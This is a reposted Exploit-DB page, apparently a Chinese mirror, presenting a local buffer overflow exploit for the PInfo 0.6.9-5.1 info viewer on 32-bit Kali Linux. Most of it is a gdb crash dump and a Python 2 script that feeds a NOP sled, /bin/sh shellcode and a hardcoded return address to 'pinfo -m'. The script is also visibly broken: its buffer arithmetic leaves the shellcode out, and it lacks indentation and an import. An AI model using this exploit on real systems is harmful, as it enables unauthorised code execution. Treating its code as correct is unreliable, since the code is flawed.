PInfo 0.6.9-5.1 – Local Buffer Overflow

• Exploit Database
• 39 阅读

• 作者： Juan Sacco
  日期： 2016-06-27
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/40023/

• # Exploit developed using Exploit Pack v5.4
  # Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
  # Program affected: PInfo - File viewer
  # Version: 0.6.9-5.1
  #
  # Tested and developed under:Kali Linux 2.0 x86 - https://www.kali.org
  # Program description:An alternative info-file viewer
  # pinfo is an viewer for Info documents, which is based on ncurses.
  # Kali Linux 2.0 package: pool/main/p/pinfo/pinfo_0.6.9-5.1_i386.deb
  # MD5sum: 9487efb0be037536eeda31b588cb6f89
  # Website:http://pinfo.alioth.debian.org/
  #
  # $ run -m `python -c 'print "A"*564+"DCBA"'`
  # Program received signal SIGSEGV, Segmentation fault.
  # --------------------------------------------------------------------------[regs]
  #EAX: 0x00000002EBX: 0xB7F0B000ECX: 0x00004554EDX: 0x00000100
  # o d I t s z a P c
  #ESI: 0x41424344EDI: 0x00004554EBP: 0xBFFFF4A4ESP: 0xBFFFEF30
  # EIP: 0xB7D92832
  #CS: 0073DS: 007BES: 007BFS: 0000GS: 0033SS: 007B
  # --------------------------------------------------------------------------[code]
  # => 0xb7d92832 <__GI_getenv+114>:cmpdi,WORD PTR [esi]
  # 0xb7d92835 <__GI_getenv+117>:jne0xb7d92828 <__GI_getenv+104>
  # 0xb7d92837 <__GI_getenv+119>:moveax,DWORD PTR [esp+0x14]
  # 0xb7d9283b <__GI_getenv+123>:movDWORD PTR [esp+0x8],eax
  # 0xb7d9283f <__GI_getenv+127>:moveax,DWORD PTR [esp+0x18]
  # 0xb7d92843 <__GI_getenv+131>:movDWORD PTR [esp+0x4],eax
  # 0xb7d92847 <__GI_getenv+135>:leaeax,[esi+0x2]
  # 0xb7d9284a <__GI_getenv+138>:movDWORD PTR [esp],eax
  # --------------------------------------------------------------------------------
  #
  #gdb$ x/100x $esp
  # 0xbffff250:0xbffff49c0x000000030x000000010x00000002
  # 0xbffff260:0xb7d6ebf80xb7fe78bd0xb7d74ffd0x41049384
  # 0xbffff270:0x414141410x414141410x414141410x41414141
  # 0xbffff280:0x414141410x414141410x414141410x41414141
  # 0xbffff290:0x414141410x414141410x414141410x41414141
  # 0xbffff2a0:0x414141410x414141410x414141410x41414141
  # 0xbffff2b0:0x414141410x414141410x414141410x41414141
  
  import os, subprocess
  
  def run():
  try:
  print "# PInfo File Viewer - Local Buffer Overflow by Juan Sacco"
  print "# This Exploit has been developed using Exploit Pack"
  # NOPSLED + SHELLCODE + EIP
  
  buffersize = 564
  nopsled = "\x90"*200
  shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
  eip = "\x40\xf3\xff\xbf"
  buffer = nopsled * (buffersize-len(shellcode)) + eip
  subprocess.call(["pinfo -m",' ', buffer])
  
  except OSError as e:
  if e.errno == os.errno.ENOENT:
  print "Sorry, PInfo File Viewer - Not found!"
  else:
  print "Error executing exploit"
  raise
  
  def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
  
  if __name__ == '__main__':
  try:
  print "Exploit PInfo 0.6.9-5.1 Local Overflow Exploit"
  print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
  howtousage()
  run()